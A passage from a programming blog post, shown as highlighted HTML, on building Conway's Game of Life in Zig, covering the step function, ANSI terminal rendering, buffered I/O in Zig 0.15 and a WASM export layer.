&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (self.&lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;(@intCast(nx), @intCast(ny)) &lt;span style="color:#f92672"&gt;==&lt;/span&gt; .alive) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; count &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; count;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="the-step-function"&gt;The Step Function&lt;/h4&gt;
&lt;p&gt;Conway&amp;rsquo;s rules are beautifully simple: a live cell survives with 2-3 neighbors, a dead cell is born with exactly 3. The implementation uses double buffering to avoid the classic cellular automaton mistake of updating cells in-place:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-zig" data-lang="zig"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;pub&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;step&lt;/span&gt;(self&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;Self, scratch&lt;span style="color:#f92672"&gt;:&lt;/span&gt; []Cell) &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;..self.height) &lt;span style="color:#f92672"&gt;|&lt;/span&gt;y&lt;span style="color:#f92672"&gt;|&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;..self.width) &lt;span style="color:#f92672"&gt;|&lt;/span&gt;x&lt;span style="color:#f92672"&gt;|&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; neighbors &lt;span style="color:#f92672"&gt;=&lt;/span&gt; self.&lt;span style="color:#a6e22e"&gt;countNeighbors&lt;/span&gt;(x, y);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; current &lt;span style="color:#f92672"&gt;=&lt;/span&gt; self.&lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;(x, y);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; idx &lt;span style="color:#f92672"&gt;=&lt;/span&gt; self.&lt;span style="color:#a6e22e"&gt;index&lt;/span&gt;(x, y);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; scratch[idx] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;switch&lt;/span&gt; (current) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .alive &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (neighbors &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;or&lt;/span&gt; neighbors &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;) .alive &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; .dead,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .dead &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (neighbors &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;) .alive &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; .dead,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; @memcpy(self.cells, scratch[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;..self.cells.len]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self.generation &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The caller provides the scratch buffer. This keeps &lt;code&gt;Grid&lt;/code&gt; allocation-free after initialization and lets different targets manage memory their own way.&lt;/p&gt;
&lt;h2 id="terminal-rendering"&gt;Terminal Rendering&lt;/h2&gt;
&lt;p&gt;This is where the &amp;ldquo;no external dependencies&amp;rdquo; goal got interesting. Libraries like ncurses exist for good reasons; terminal handling is full of edge cases. But for a Game of Life, we only need a small subset of functionality: clear the screen, move the cursor, set colors, and query the terminal size.&lt;/p&gt;
&lt;h3 id="raw-ansi-escape-codes"&gt;Raw ANSI Escape Codes&lt;/h3&gt;
&lt;p&gt;The terminal renderer uses ANSI escape sequences directly:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-zig" data-lang="zig"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; ESC &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\x1b&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;pub&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;moveTo&lt;/span&gt;(self&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;Self, x&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;usize&lt;/span&gt;, y&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;usize&lt;/span&gt;) &lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; self.writer.&lt;span style="color:#a6e22e"&gt;print&lt;/span&gt;(ESC &lt;span style="color:#f92672"&gt;++&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;[{d};{d}H&amp;#34;&lt;/span&gt;, .{ y &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, x &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;pub&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;setColor&lt;/span&gt;(self&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;Self, fg&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;u8&lt;/span&gt;, bg&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;u8&lt;/span&gt;) &lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; self.writer.&lt;span style="color:#a6e22e"&gt;print&lt;/span&gt;(ESC &lt;span style="color:#f92672"&gt;++&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;[0;{d};{d}m&amp;#34;&lt;/span&gt;, .{ fg, bg });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;These escape sequences are standardized and work on virtually any modern terminal emulator. No library needed, just string formatting.&lt;/p&gt;
&lt;h3 id="terminal-size-via-stdposix"&gt;Terminal Size via std.posix&lt;/h3&gt;
&lt;p&gt;For responsive sizing, I needed to query the terminal dimensions. Zig&amp;rsquo;s standard library wraps the necessary POSIX types, so no &lt;code&gt;@cImport&lt;/code&gt; required:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-zig" data-lang="zig"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;pub&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;getTermSize&lt;/span&gt;(file&lt;span style="color:#f92672"&gt;:&lt;/span&gt; std.fs.File) TermSizeError&lt;span style="color:#f92672"&gt;!&lt;/span&gt;TermSize {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;file.&lt;span style="color:#a6e22e"&gt;supportsAnsiEscapeCodes&lt;/span&gt;()) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; TermSizeError.Unsupported;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;switch&lt;/span&gt; (builtin.os.tag) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .linux &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; ws&lt;span style="color:#f92672"&gt;:&lt;/span&gt; std.posix.winsize &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;undefined&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; result &lt;span style="color:#f92672"&gt;=&lt;/span&gt; std.os.linux.&lt;span style="color:#a6e22e"&gt;ioctl&lt;/span&gt;(file.handle, std.posix.T.IOCGWINSZ, @intFromPtr(&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;ws));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (result &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; TermSizeError.TerminalSizeUnavailable;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; .{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .width &lt;span style="color:#f92672"&gt;=&lt;/span&gt; ws.col,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .height &lt;span style="color:#f92672"&gt;=&lt;/span&gt; ws.row,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; TermSizeError.Unsupported,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="buffered-io-in-zig-0151"&gt;Buffered I/O in Zig 0.15.1&lt;/h3&gt;
&lt;p&gt;Zig 0.15 introduced a rewritten I/O system with explicit buffering. Instead of the old unbuffered &lt;code&gt;getStdOut().writer()&lt;/code&gt;, you now pass your own buffer:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-zig" data-lang="zig"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; stdout_buffer&lt;span style="color:#f92672"&gt;:&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;1024&lt;/span&gt;]&lt;span style="color:#66d9ef"&gt;u8&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;undefined&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; stdout_writer &lt;span style="color:#f92672"&gt;=&lt;/span&gt; std.fs.File.&lt;span style="color:#a6e22e"&gt;stdout&lt;/span&gt;().&lt;span style="color:#a6e22e"&gt;writer&lt;/span&gt;(&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;stdout_buffer);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; stdout &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;stdout_writer.interface;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; stdout.&lt;span style="color:#a6e22e"&gt;print&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Hello World!&amp;#34;&lt;/span&gt;, .{});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; stdout.&lt;span style="color:#a6e22e"&gt;flush&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is a nice design as buffering behavior is explicit and configurable. For terminal rendering, this matters: without buffering, each &lt;code&gt;print&lt;/code&gt; call would be a separate &lt;code&gt;write&lt;/code&gt; syscall, causing visible flicker as the screen updates. With a buffer sized to the grid, we batch all the escape codes and cell data into a single write, producing smooth, flicker-free updates and improved performance.&lt;/p&gt;
&lt;p&gt;The render loop redraws the entire grid each frame. This is fine for now although a more efficient implementation would track dirty cells and only update changes. Weekend project constraints won.&lt;/p&gt;
&lt;h2 id="the-wasm-target"&gt;The WASM Target&lt;/h2&gt;
&lt;p&gt;This is where things get interesting. Zig&amp;rsquo;s WASM support is excellent. You set the target to &lt;code&gt;wasm32-freestanding&lt;/code&gt; and the compiler handles the rest. But bridging the gap between Zig&amp;rsquo;s type system and JavaScript/TypeScript requires some care.&lt;/p&gt;
&lt;h3 id="wasmzig-the-export-layer"&gt;wasm.zig: The Export Layer&lt;/h3&gt;
&lt;p&gt;The WASM module is a thin wrapper around &lt;code&gt;core.Grid&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-zig" data-lang="zig"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; std &lt;span style="color:#f92672"&gt;=&lt;/span&gt; @import(&lt;span style="color:#e6db74"&gt;&amp;#34;std&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; core &lt;span style="color:#f92672"&gt;=&lt;/span&gt; @import(&lt;span style="color:#e6db74"&gt;&amp;#34;core.zig&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; allocator &lt;span style="color:#f92672"&gt;=&lt;/span&gt; std.heap.page_allocator;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; wasm_grid&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;?&lt;/span&gt;core.Grid &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; wasm_scratch&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;?&lt;/span&gt;[]core.Cell &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;init&lt;/span&gt;(width&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;u32&lt;/span&gt;, height&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;u32&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;bool&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; wasm_grid &lt;span style="color:#f92672"&gt;=&lt;/span&gt; core.Grid.&lt;span style="color:#a6e22e"&gt;init&lt;/span&gt;(allocator, .{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .width &lt;span style="color:#f92672"&gt;=&lt;/span&gt; width,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .height &lt;span style="color:#f92672"&gt;=&lt;/span&gt; height,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }) &lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; size &lt;span style="color:#f92672"&gt;=&lt;/span&gt; width &lt;span style="color:#f92672"&gt;*&lt;/span&gt; height;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; wasm_scratch &lt;span style="color:#f92672"&gt;=&lt;/span&gt; allocator.&lt;span style="color:#a6e22e"&gt;alloc&lt;/span&gt;(core.Cell, size) &lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;deinit&lt;/span&gt;() &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (wasm_grid) &lt;span style="color:#f92672"&gt;|*&lt;/span&gt;g&lt;span style="color:#f92672"&gt;|&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; g.&lt;span style="color:#a6e22e"&gt;deinit&lt;/span&gt;(allocator);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; wasm_grid &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (wasm_scratch) &lt;span style="color:#f92672"&gt;|&lt;/span&gt;s&lt;span style="color:#f92672"&gt;|&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; allocator.&lt;span style="color:#a6e22e"&gt;free&lt;/span&gt;(s);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; wasm_scratch &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A few things to note:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Global state&lt;/strong&gt;: WASM modules are singletons, so global variables are fine here. The &lt;code&gt;?core.Grid&lt;/code&gt; optional type lets us represent &amp;ldquo;not yet initialized.&amp;rdquo;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Page allocator&lt;/strong&gt;: For WASM, &lt;code&gt;std.heap.page_allocator&lt;/code&gt; maps directly to &lt;code&gt;memory.grow&lt;/code&gt;. It&amp;rsquo;s simple and works.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Memory Cleanup&lt;/strong&gt;: Resizing the browser window (which re-initializes the grid) causes a memory leak due to the previous memory allocation not being freed. This is now handled with &lt;code&gt;deinit&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="zero-copy-cell-access"&gt;Zero-Copy Cell Access&lt;/h3&gt;
&lt;p&gt;The most important optimization is exposing direct access to the cell buffer:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-zig" data-lang="zig"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;getCellsPtr&lt;/span&gt;() &lt;span style="color:#f92672"&gt;?&lt;/span&gt;[&lt;span style="color:#f92672"&gt;*&lt;/span&gt;]core.Cell {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (wasm_grid) &lt;span style="color:#f92672"&gt;|&lt;/span&gt;g&lt;span style="color:#f92672"&gt;|&lt;/span&gt; g.cells.ptr &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;getCellsLen&lt;/span&gt;() &lt;span style="color:#66d9ef"&gt;usize&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (wasm_grid) &lt;span style="color:#f92672"&gt;|&lt;/span&gt;g&lt;span style="color:#f92672"&gt;|&lt;/span&gt; g.cells.len &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On the TypeScript side:&lt;/p&gt;
